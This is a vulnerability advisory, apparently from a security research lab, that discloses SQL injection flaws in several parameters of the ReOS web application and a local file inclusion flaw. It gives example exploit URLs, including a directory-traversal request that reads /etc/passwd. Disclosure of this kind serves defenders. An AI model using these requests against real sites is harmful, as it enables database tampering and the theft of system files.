Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ReOS which could be exploited to perform SQL injection attacks and compromise vulnerable system.
1) SQL injection vulnerabilities in ReOS
1.1 The vulnerability exists due to input sanitation errors in the "form1_txt_email1" and "form1_ref_immo" parameters in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
tp://[host]/index.php?form1_txt_email1=123'SQL_CODE_HERE&form1_data=pg%3Drem ember%2Cnm%3DLost+your +Password%3F&form1_phpform_sent=1
http://[host]/index.php?form1_ref_immo=1' SQL_CODE_HERE&form1_order_by=precio&form1_tp_propiedad=&for m1_in_order=ASC&form1_tp_servicio=&form1_txt_poblacion=&form1_txt_zona=&form 1_precio_min=&form1_prec io_max=&form1_data=pg%3Dverimmo%2Cnm%3DSearch+Results%2Cshow%3D0%2Cfrom%3D0& form1_phpform_sent=1
1.2 The vulnerability exists due to input sanitation errors in the "form1_tp_state" and "form1_keyword" parameters in members.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
http://[host]/members.php?form1_tp_state=%27SQL_CODE_HERE&form1_tp_servicio= &form1_tp_propiedad=&for m1_order_by=precio&form1_data=pg%3Dmy_immos%2Cnm%3DMy+Properties%2Cfrom%3D0& form1_phpform_sent=1
http://[host]/members.php?form1_keyword=%27SQL_CODE_HE RE&form1_data=pg%3Dverpobs%2Cfrom%3D0%2Cnm%3DA ctive+Cities%2Cid_account%3D3&form1_phpform_sent=1
2) Local file inclusion vulnerability in ReOS
The vulnerability exists due to input sanitation error in the "lang" parameter in jobs.php. A remote attacker can include and execute arbitrary files on the target system using directory traversal sequences with NULL byte.
Exploitation example:
http://[host]/jobs.php?lang=/../../../../../../../../etc/passwd%00
